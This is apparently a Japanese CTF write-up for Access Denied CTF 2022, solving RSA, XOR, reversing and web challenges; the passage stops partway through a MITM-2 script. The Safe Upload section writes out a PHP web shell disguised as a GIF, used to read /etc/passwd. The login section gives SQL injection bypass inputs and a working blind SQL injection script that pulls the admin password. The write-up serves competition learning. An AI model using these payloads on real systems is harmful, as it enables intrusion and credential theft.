Access Denied CTF 2022 Writeup

この大会は2022/6/10 19:30(JST)~2022/6/12 19:30(JST)に開催されました。
今回もチームで参戦。結果は23004点で391チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

accessdenied{pl4y_f41r_h4v3_fUn_05cfebe1}

RSA-1(Crypto)

RSA暗号で、p, q, e, cがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

p = 10428615258416108003372202871855627713663325599674460924186517713082197448534315449595394752587304354394402047262801959990727856908043138185588365886987557
q = 8849030739304056868757301096931487921973840186794195322071503751716059434197468028088264340322992996182734000877348221433845302801843370163430108727308579
e = 65537
cipher_text = 84826403344972753121997388456739256614537789930909176473018827332005543366933391914385410712984001888365906754988120732970328825657318675360778107518188000885732104031648548997976916964730682864696944786364581243443475767387970255510475855029059715864139791778210784283726274424510221073880200865856769716576

n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(cipher_text, d, n)
flag = long_to_bytes(m).decode()
print(flag)
accessdenied{RSA_1S_4M4Z1nG_R1GhT????_2a5286af}

Shark-1 (Misc)

TCP Streamを見てみる。

give me the xor key
xor key 80
Here is the flag: 4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q==
Thank you got it

base64文字列をデコードしたものをXOR鍵0x80で復号する。

#!/usr/bin/env python3
from base64 import *

key = 0x80
enc_flag = '4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q=='

enc_flag = b64decode(enc_flag)

flag = ''
for c in enc_flag:
    flag += chr(c ^ key)
print(flag)
accessdenied{w1r3sh4rk_b3st_f0r_p4ck3t_sn1ff1ng_9fc3841b1}

RSA-2 (Crypto)

yafuでNを素因数分解する。

>yafu-x64.exe "factor(264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187)" -v -threads 4


06/10/22 22:19:57 v1.34.5 @ RINA-TAKUMI, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2907.560660
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C174
rho: x^2 + 2, starting 1000 iterations on C174
rho: x^2 + 1, starting 1000 iterations on C174
pm1: starting B1 = 150K, B2 = gmp-ecm default on C174
fac: setting target pretesting digits to 53.54
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t53.54
ecm: 30/30 curves on C174, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 53.54
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t53.54
ecm: 16/74 curves on C174, B1=11K, B2=gmp-ecm default
ecm: found prp20 factor = 22788121468146346999

fac: setting target pretesting digits to 47.69
fac: t15: 2.42
fac: t20: 0.27
fac: t25: 0.01
fac: sum of completed work is t16.33
fac: work done at B1=11000: 17 curves, max work = 74 curves
fac: 57 more curves at B1=11000 needed to get to t47.69
Total factoring time = 1.4154 seconds


***factors found***

P20 = 22788121468146346999
P155 = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813

ans = 1

あとはこのまま通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

N = 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187
e = 65537
ct = 175347248748800717331910762241898102719683222504200516534883687111045877096093372005991552193144558951747833811929393668749668731738201985792026669764642235225240342271148171

p = 22788121468146346999
q = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813
assert N == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, N)
flag = long_to_bytes(m).decode()
print(flag)
accessdenied{alw4y5_try_t0_f4ct0r1z3_n_9ba93547}

Safe Upload (Web)

phpをアップロードしようとしたら、以下のメッセージが表示された。

Files of type JPEG, GIF, PNG are allowed

いろいろ試したところ、拡張子をみているわけではなさそう。

$ cat exploit.php
GIF89a;
<?
system($_GET['cmd']);
?>

$ file exploit.php
exploit.php: GIF image data, version 89a, 3387 x 15370

exploit.phpをアップロードすると、以下のメッセージが表示された。

The file 1d447a819cf22de03db7ac6608cf6da4.php has been uploaded

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=pwdにアクセスする。

GIF89a;
/var/www/html/uploads

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=ls -lにアクセスする。

GIF89a;
total 84
-rw-r--r-- 1 www-data www-data    63 Jun 11 03:57 18f638955c01b113b40b2f7c031348bc.php
-rw-r--r-- 1 www-data www-data    38 Jun 11 03:55 1d447a819cf22de03db7ac6608cf6da4.php
-rw-r--r-- 1 www-data www-data 61116 Jun 11 03:56 251b5bd771b819bac71422a492cdb17c.jpg
-rw-r--r-- 1 www-data www-data    24 Jun 11 03:56 4af446b0b8cf2e65502c3d6bbf6384d4.<script>eval(atob('ywxlcnqozg9jdw1lbnquy29va2llkq='))<script>
-rw-r--r-- 1 www-data www-data    24 Jun 11 03:56 63585f4bb3a216a61193a051e1c17cdb.<script>eval(atob(
-rw-r--r-- 1 www-data www-data    63 Jun 11 03:55 65229de98107d1032aa9e310d64ce4e4.php
-rw-r--r-- 1 www-data www-data    24 Jun 11 03:55 de2c32b7d55f2ed1b0d580ffa7f1586a.script>

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=cat /etc/passwdにアクセスする。

GIF89a;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=ls -l /にアクセスする。

GIF89a;
total 80
drwxr-xr-x   1 root root 4096 Jun  9 16:31 app
drwxr-xr-x   1 root root 4096 Dec 11  2020 bin
drwxr-xr-x   2 root root 4096 Nov 22  2020 boot
drwxr-xr-x   5 root root  340 Jun  9 16:33 dev
drwxr-xr-x   1 root root 4096 Jun  9 16:33 etc
-rwxr-xr-x   1 root root   44 Jun 10 05:31 flag.txt
drwxr-xr-x   2 root root 4096 Nov 22  2020 home
drwxr-xr-x   1 root root 4096 Dec 11  2020 lib
drwxr-xr-x   2 root root 4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root 4096 Dec  9  2020 media
drwxr-xr-x   2 root root 4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root 4096 Dec  9  2020 opt
dr-xr-xr-x 186 root root    0 Jun  9 16:33 proc
drwx------   1 root root 4096 Jun  9 16:56 root
drwxr-xr-x   1 root root 4096 Dec 11  2020 run
drwxr-xr-x   1 root root 4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root 4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root    0 Jun  9 16:33 sys
drwxrwxrwt   1 root root 4096 Jun 11 04:00 tmp
drwxr-xr-x   1 root root 4096 Dec  9  2020 usr
drwxr-xr-x   1 root root 4096 Dec 11  2020 var

flag.txtがあった。http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=cat /flag.txtにアクセスする。

GIF89a;
accessdenied{php_bu7_n07_php_f1l3_74a148ef}
accessdenied{php_bu7_n07_php_f1l3_74a148ef}

babyc (Rev)

reverse関数は8bitのビット配列を逆順にする。その後23とのXORをしたものがflag配列になっている。このことから逆算して、flagを求める。

#!/usr/bin/env python3
enc_flag = [-111, -47, -47, -79, -39, -39, 49, -79, 97, -127, -79, 49, -55, 9,
    27, 89, -19, 59, 97, 49, -19, 89, -37, 121, -37, 89, -69, -37, -19, -111,
    89, -37, -19, 113, -71, 97, -19, -101, 49, 49, 11, 91, -69, 11, -79, -87]

key = 23

flag = ''
for c in enc_flag:
    b = bin((c % 256) ^ key)[2:].zfill(8)[::-1]
    flag += chr(int(b, 2))
print(flag)
accessdenied{x0r_4nd_r3v3r53_ar3_fun_1dd8258e}

Small key (Crypto)

XOR鍵は8バイト。フラグは"accessde"から始まることを前提に復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

flag_enc = '763d32726973a23f79373473616ba86a60300e677634f734482a626f6e5ff22e636a327c2f5ff228240123242e6caa23483d6127765fff6d743a61212f38bb'

flag_enc = bytes.fromhex(flag_enc)
flag_head = b'accessde'

key = strxor(flag_head, flag_enc[:8])

flag = ''
for i in range(len(flag_enc)):
    flag += chr(flag_enc[i] ^ key[i % len(key)])
print(flag)
accessdenied{kn0wn_pl41n_t3xt_4tt4ck5_4r3_r34lly_c00l_97cd0658}

PORTAL DE LOGIN (Web)

以下でログインできるが、特に何も表示されない。

USERNAME: admin' -- -
PASSWORD: a

以下でもログインできる。

USERNAME: ' union select 1,2,3 -- -
PASSWORD: a

以下でもログインできる。

USERNAME: ' union select id, username, password from users -- -
PASSWORD: a

adminのパスワードをBlind SQL Injectionで割り出す。

#!/usr/bin/env python3
import requests

url = 'http://35.188.63.150/'

passlen = -1
for i in range(1, 65):
    data = {"username": "admin' and (SELECT length(password) FROM users "
        + "WHERE username = 'admin') = " + str(i) + "-- -", "password": "a"}
    r = requests.post(url, data=data)
    if 'Login Sucess' in r.text:
        passlen = i
        break

print('[+] Password Length is:', passlen)

flag = ''
for i in range(1, passlen + 1):
    for code in range(33, 127):
        data = {"username": "admin' and substr((SELECT password FROM users "
            + "WHERE username = 'admin')," + str(i) + ",1) = '" + chr(code)
            + "' -- -", "password": "a"}
        r = requests.post(url, data=data)
        if 'Login Sucess' in r.text:
            flag += chr(code)
            break
    print('[+] flag:', flag)

print('[*] flag:', flag)

実行結果は以下の通り。

[+] Password Length is: 47
[+] flag: A
[+] flag: AC
[+] flag: ACC
[+] flag: ACCE
[+] flag: ACCES
[+] flag: ACCESS
[+] flag: ACCESSD
[+] flag: ACCESSDE
[+] flag: ACCESSDEN
[+] flag: ACCESSDENI
[+] flag: ACCESSDENIE
[+] flag: ACCESSDENIED
[+] flag: ACCESSDENIED{
[+] flag: ACCESSDENIED{B
[+] flag: ACCESSDENIED{BL
[+] flag: ACCESSDENIED{BL1
[+] flag: ACCESSDENIED{BL1N
[+] flag: ACCESSDENIED{BL1ND
[+] flag: ACCESSDENIED{BL1ND_
[+] flag: ACCESSDENIED{BL1ND_B
[+] flag: ACCESSDENIED{BL1ND_BL
[+] flag: ACCESSDENIED{BL1ND_BL1
[+] flag: ACCESSDENIED{BL1ND_BL1N
[+] flag: ACCESSDENIED{BL1ND_BL1ND
[+] flag: ACCESSDENIED{BL1ND_BL1NDD
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_B
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BL
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLI
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLIN
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLIND
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDD
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_S
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQ
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5F
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2D
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB7
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}
[*] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}

このフラグで通らないので、小文字にしてみる。

>>> 'ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}'.lower()
'accessdenied{bl1nd_bl1ndd_blinddd_sql_5fe2db70}'
accessdenied{bl1nd_bl1ndd_blinddd_sql_5fe2db70}

sifers (Crypto)

1行ずつ異なる方式でエンコード、暗号化されている。

・1行目:0ujyfwa87u
→シーザー暗号と推測。ただし数字とアルファベットをシフトする。
→シフト:-7
→3ncrypt10n★

・2行目:M25jMGQxbmc=
→base64デコード

$ echo M25jMGQxbmc= | base64 -d
3nc0d1ng★

・3行目:GRXGI===
→base32デコード

>>> b32decode('GRXGI===')
b'4nd'★

・4行目:2eac7797ba995850a0372814e2a7ba87
→md5と推測し、https://crackstation.net/でクラック
→h4sh1ng★

・5行目:00110100 01101100 01101100
→2進数

>>> codes = '00110100 01101100 01101100'.split(' ')
>>> ''.join([chr(int(code, 2)) for code in codes])
'4ll'★

・6行目:64 162 63
→8進数

>>> ''.join([chr(int(code, 8)) for code in codes])
'4r3'★

・7行目:q4ss6e6ag
→アルファベットは-13シフト、数字は-3シフト
→d1ff3r3nt★

・8行目:65 62 32 35 64 38 62 37
→16進数

>>> codes = '65 62 32 35 64 38 62 37'.split(' ')
>>> ''.join([chr(int(code, 16)) for code in codes])
'eb25d8b7'★

問題文には書かれていないが、他の問題と同様のフラグの形式と考え、accessdenied{xxx_yyy_zzz}のような形式に構成する。

accessdenied{3ncrypt10n_3nc0d1ng_4nd_h4sh1ng_4ll_4r3_d1ff3r3nt_eb25d8b7}

reused key (Crypto)

同じ鍵でフラグとあるテキストがXOR暗号化されている。https://github.com/SpiderLabs/cribdragのツール(Python2)を使って、推測しながら復号する。
まず2つの暗号をXORする。

$ python xorstrings.py 65f32f851cdb20eee875eea5a9a30f826cfd247eb550dcc89d1d4cdf952f5c28ca5f162355567fd262bb96 70f8259330c137d4e873ff9ea6a559ab2dea1a60d943859aa545578395301d28a0741d1e065a24d45cb19f
150b0a162c1a173a0006113b0f06562941173e1e6c13595238581b5c001f41006a2b0b3d530c5b063e0a09

推測しながら復号する。

$ python cribdrag.py 150b0a162c1a173a0006113b0f06562941173e1e6c13595238581b5c001f41006a2b0b3d530c5b063e0a09
Your message is currently:
0	________________________________________
40	___
Your key is currently:
0	________________________________________
40	___
Please enter your crib: accessdenied{
0: "this_is_not_t"
1: "jiuIid^ehx^k}"
2: "kuOdIdcRjb-"
*** 3: "wOyrIsbtUfc2R"
4: "Myt_suu^ao3M:"
5: "{tYeub_jh?L%l"
6: "vYccbHkc8@$sE"
7: "[cetH|b3G(rZe"
8: "aer^|u2L/~[z"
9: "grXju%M$yWh"
10: "pXlc%Z%rPw	w""
11: "Zle3Z2s[pv=)"
12: "ne5L2dZ{z<6C"
13: "g5J$dMz	}07\#"
14: "7J"rMv7;]<`"
15: "H"t[mw<<Q='"
16: " t]{`=7V1~8{"
17: "v]}	`*6]6r9dd"
18: "_}v*!\=u5e{:"
19: "p<!K<~2iz%{"
p:7K+9nv$d"
21: "r:1]+h8eq(eP"
22: "81[=h/dz/iOp"
23: "3[;~/s{$nNoF"
24: "Y;x9sl%eBnY("
25: "9x?el2dEbX7w"
26: "z?cz2sNeT6h "
27: "=c|$sOnS:i?}"
28: "a|"eXoX=e>bE"
29: "~"cXxY6b2cZq"
30: " c	NxN7i5o[nr"
Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{___________________________
40	___
Your key is currently:
0	this_is_not_t___________________________
40	___
Please enter your crib: the_
*** 0: "acoI"
1: "bss"
2: "~~IE"
3: "bDH"
*** 4: "Xrre"
5: "n__"
*** 6: "cReY"
*** 7: "NhcN"
*** 8: "tntd"
9: "ry^P"
*** 10: "eSjY"
11: "Ogc	"
12: "{n3v"
13: "r>L"
14: ""A$H"
15: "])ra"
16: "5[A"
17: "cV{3"
18: "Jv	L"
19: "jv"
"0: "{<
*** 21: "g17g"
22: "-:]"
23: "&P=D"
24: "L0~"
25: ",s9_"
26: "o4e@"
27: "(hz"
28: "tw$_"
29: "k)e5"
30: "5ht"
31: "tNT"
32: "Cnb"
33: "_cX
        "
34: "U6S"
35: "I;i"
36: "'d>Y"
*** 37: "x3ca"
38: "/n[U"
*** 39: "rVoV"
Enter the correct position, 'none' for no match, or 'end' to quit: 12
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v________________________
40	___
Your key is currently:
0	this_is_not_the_________________________
40	___
Please enter your crib: 3r_
0: "&yU"
*** 1: "8xI"
*** 2: "9ds"
3: "%^E"
4: "hH"
5: ")ee"
6: "$H_"
7: "	rY"
*** 8: "3tN"
*** 9: "5cd"
*** 10: ""IP"
11: }Y"
12: "<t	"
13: "5$v"
14: "e["
15: "3H"
*** 16: "rea"
17: "$LA"
l3" "
19: "-L"
20: "_a"
"1: " +
*** 22: "j g"
23: "aJ"
24: "
     *D"
25: "ki"
26: "(._"
27: "or@"
28: "3m"
29: ",3_"
*** 30: "rr5"
31: "3t"
*** 32: "YYT"
33: "yb"
34: "8O
       "
35: "!S"
36: "`~"
37: "?)Y"
*** 38: "hta"
*** 39: "5LU"
xV" "
Enter the correct position, 'none' for no match, or 'end' to quit: 16
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r______________________
40	___
Your key is currently:
0	this_is_not_the_rea_____________________
40	___
Please enter your crib: l_
*** 0: "yT"
*** 1: "gU"
*** 2: "fI"
*** 3: "zs"
4: "@E"
*** 5: "vH"
6: "{e"
7: "V_"
*** 8: "lY"
*** 9: "jN"
10: "}d"
*** 11: "WP"
*** 12: "cY"
13: "j	"
*** 14: ":v"
15: "E"
16: "-H"
17: "{a"
*** 18: "RA"
*** 19: "r3"
20: "L"
21: ""
"2: "5
23: ">g"
24: "T"
*** 25: "4D"
26: "w"
27: "0_"
28: "l@"
29: "s"
30: "-_"
*** 31: "l5"
32: "t"
*** 33: "GT"
*** 34: "gb"
35: "Q
      "
*** 36: "?S"
37: "`"
*** 38: "7Y"
*** 39: "ja"
*** 40: "RU"
*** 41: "fV"
Enter the correct position, 'none' for no match, or 'end' to quit: 19
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3___________________
40	___
Your key is currently:
0	this_is_not_the_real____________________
40	___
Please enter your crib: u53_
0: "`>9I"
1: "~?%s"
2: "#E"
3: "c)H"
4: "Y/$e"
5: "o"	_"
6: "b3Y"
*** 7: "O55N"
*** 8: "u3"d"
9: "sP"
10: "d<Y"
11: "N:5	"
*** 12: "z3ev"
13: "sc"
14: "#rH"
15: "\t$a"
A": "4"
17: "b
      -3"
18: "K+_L"
19: "kY "
"0: "&j
*** 21: "flag"
22: ",g
       "
kD" "'
24: "Mm("
25: "-.o_"
26: "ni3@"
27: ")5,"
28: "u*r_"
*** 29: "jt35"
*** 30: "45Yt"
31: "u_T"
32: "8b"
33: "^>
       "
34: "`S"
35: "Hf?"
36: "&9hY"
*** 37: "yn5a"
U": ".3
39: "s
      9V"
Enter the correct position, 'none' for no match, or 'end' to quit: 21
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r_r3u53________________
40	___
Your key is currently:
0	this_is_not_the_real_flag_______________
40	___
Please enter your crib: th3_k3y5_
0: "ac9IG)n_"
1: "b%sq$C5Y"
2: "~~E|	y3N"
3: "bD)HQ3$d"
4: "Xr$ek5hP"
5: "n	_m"B:Y"
6: "cR3Yv3	"
7: "Nh5NP<cv"
8: "tn"dd5/"
9: "rPmePtH"
10: "eS<Y=8"a"
11: "Og5	Brn
                   A"
12: "{nev*$G+3"
gYL""r>|
14: ""ArHU-&"
"5: "])$au_jl
A  gg"
"7: "cV-3xj+
18: "Jv_L2aAmD"
19: "j 9
          !."
Skbi_"{j
21: "g1ag3(%5@"
22: "-:
       poy*"
23: "&PkD73ft_"
24: "L0(k,855"
25: ",so_try_t"
26: "o43@*3T"
27: "(h,kYR>b"
28: "twr_r
           "
29: "k)35@8DfS"
30: "5hYt`*9"
31: "tTV`unY"
32: "C8b8?"3a"
33: "_c
       gh
         U"
34: "U`S05G?V"
Enter the correct position, 'none' for no match, or 'end' to quit: 25
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_______
40	___
Your key is currently:
0	this_is_not_the_real_flag,so_try_t______
40	___
Please enter your crib: to_
*** 0: "adU"
1: "eI"
2: "~ys"
*** 3: "bCE"
*** 4: "XuH"
*** 5: "nxe"
6: "cU_"
*** 7: "NoY"
*** 8: "tiN"
9: "r~d"
*** 10: "eTP"
11: "O`Y"
12: "{i	"
*** 13: "r9v"
14: ""F"
15: "].H"
*** 16: "5xa"
*** 17: "cQA"
*** 18: "Jq3"
19: "jL"
20: "|"
"1: "g6
22: "-=g"
23: "&W"
*** 24: "L7D"
25: ",t"
26: "o3_"
27: "(o@"
28: "tp"
29: "k._"
*** 30: "5o5"
31: "tt"
32: "DT"
33: "_db"
34: "R
      "
35: "I<S"
36: "'c"
*** 37: "x4Y"
38: "/ia"
*** 39: "rQU"
*** 40: "JeV"
Enter the correct position, 'none' for no match, or 'end' to quit: 33
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db____
40	___
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_____
40	___
Please enter your crib: }
*** 0: "h"
*** 1: "v"
*** 2: "w"
*** 3: "k"
*** 4: "Q"
*** 5: "g"
*** 6: "j"
*** 7: "G"
8: "}"
9: "{"
*** 10: "l"
*** 11: "F"
*** 12: "r"
13: "{"
14: "+"
*** 15: "T"
16: "<"
*** 17: "j"
*** 18: "C"
*** 19: "c"
20: ""
*** 21: "n"
22: "$"
23: "/"
*** 24: "E"
25: "%"
*** 26: "f"
*** 27: "!"
28: "}"
*** 29: "b"
30: "<"
31: "}"
32: ""
*** 33: "V"
*** 34: "v"
35: "@"
*** 36: "."
*** 37: "q"
38: "&"
39: "{"
*** 40: "C"
*** 41: "w"
*** 42: "t"
Enter the correct position, 'none' for no match, or 'end' to quit: 42
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db____
40	__}
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_____
40	__t
Please enter your crib: find_
*** 0: "sbdrs"
*** 1: "mcxHE"
2: "lB~H"
*** 3: "pEtse"
4: "Jsy^_"
5: "|~TdY"
*** 6: "qSnbN"
7: "\ihud"
8: "fo_P"
9: "`xUkY"
10: "wRab	"
11: "]fh2v"
12: "io8M"
13: "`?G%H"
14: "0@/sa"
15: "O(yZA"
16: "'~Pz3"
17: "qWL"
18: "Xww"
"9: "x}=
20: "
z76g"
21: "u0<\"
22: "?;V<D"
23: "4Q6"
24: "^1u8_"
25: ">r2d@"
26: "}5n{"
27: ":iq%_"
28: "fv/d5"
29: "y(nt"
30: "'iOT"
31: "fEob"
32: "
     BeY
        "
*** 33: "MbS7S"
34: "mT=h"
35: "[:b?Y"
*** 36: "5e5ba"
*** 37: "j2hZU"
38: "=oPnV"
Enter the correct position, 'none' for no match, or 'end' to quit: 36
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db5e5b
40	a_}
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_find
40	__t
Please enter your crib: it
0: "|"
1: "b~"
*** 2: "cb"
3: "X"
*** 4: "En"
*** 5: "sc"
6: "~N"
*** 7: "St"
*** 8: "ir"
*** 9: "oe"
*** 10: "xO"
11: "R{"
*** 12: "fr"
*** 13: "o""
14: "?]"
15: "@5"
16: "(c"
17: "~J"
*** 18: "Wj"
19: "w"
20: "g"
21: "z-"
22: "0&"
*** 23: ";L"
*** 24: "Q,"
*** 25: "1o"
26: "r("
*** 27: "5t"
*** 28: "ik"
*** 29: "v5"
30: "(t"
31: "i"
32: "_"
33: "B"
*** 34: "bI"
*** 35: "T'"
*** 36: ":x"
37: "e/"
*** 38: "2r"
*** 39: "oJ"
40: "W~"
41: "c}"
Enter the correct position, 'none' for no match, or 'end' to quit: 41
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db5e5b
40	ac}
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_find
40	_it
Please enter your crib:
accessdenied{n3v3r_r3u53_th3_k3y5_db5e5bac}

MITM-2 (Crypto)

それぞれサーバの処理概要は以下の通り。

【Alice】
・msg = b"here_is_my_code!"
・keys = [ b'XXXXXXXXXXXXXXXX', b'XXXXXXXXXXXXXXXX' ]
 ※md5(os.urandom(3)).digest()で生成
・private_key: Aliceの秘密鍵
・public_key: pow(g, private_key, p)
 →表示
・key: 自分の公開鍵を入力(0, 1, p-1はNG)
・aes_key = md5(unhexlify(hex(pow(key, private_key, p))[2:])).digest()
・keysにaes_keyを追加
・encrypted_msg = encrypt(msg, keys, b"A"*16, b"B"*16)
 ・m: msgをパディング(ランダム文字列をパディング)
 ・ciphers: [AES-ECB(keys[0]), AES-CBC(keys[1], iv=b"A"*16), AES-CBC(keys[2], iv=b"b"*16)]
 ・c = m
 ・ciphersの各要素でmを順に重ねて暗号化
・encrypted_flag = encrypt(flag[:32], keys, b"A"*16, b"B"*16)
・encrypted_msg、encrypted_flag 表示

【Bob】
・keys = [ b'XXXXXXXXXXXXXXXX', b'XXXXXXXXXXXXXXXX' ]
 ※md5(os.urandom(3)).digest()で生成
・msg = b"thank_you_here_is_remaining_part"
・private_key: Bobの秘密鍵
・public_key: pow(g, private_key, p)
 →表示
・key: 自分の公開鍵を入力(0, 1, p-1はNG)
・aes_key = md5(unhexlify(hex(pow(key, private_key, p))[2:])).digest()
・keysにaes_keyを追加
・code: 入力
・decrypted_code = decrypt(unhexlify(code), keys, b"A"*16, b"B"*16)
・decrypted_code[:32] と flag[:32]が一致していたら、以下を実行
 ・encrypted_msg = encrypt(msg, keys, b"A"*16, b"B"*16)
 ・encrypted_flag = encrypt(flag[32:], keys, b"A"*16, b"B"*16)
 ・encrypted_msg、encrypted_flag 表示

まずAlice側のmsgの暗号化の結果からブルートフォースで鍵を割り出す。msgのkeys[0]によるAES-ECB暗号化と、encrypted_msgのaes_keyで復号したもののkeys[1]によるAES-CBC復号が同じになるものを探す。なお、keyにgの値を指定すれば、以下が成り立つので、aes_keyを算出することができる。

aes_key = md5(unhexlify(hex(public_key)[2:])).digest()

鍵を割り出せば、flag[:32]を復号することができる。
次にBob側でもkeys[0]、keys[1]が同じ値と仮定して進める。keyにgの値を指定することにより、Bob側のaes_keyを算出する。Alice側のencrypted_flagの先頭32バイトをAlice側のaes_keyで復号し、Bob側のaes_keyで暗号化しなおすことによって、Bob側のencrypted_flagを入手する。あとは、key[0]~key[2]がわかっているので、復号すれば、flag[32:]になる。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from binascii import hexlify, unhexlify
from hashlib import md5
from itertools import product
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

msg = b'here_is_my_code!'
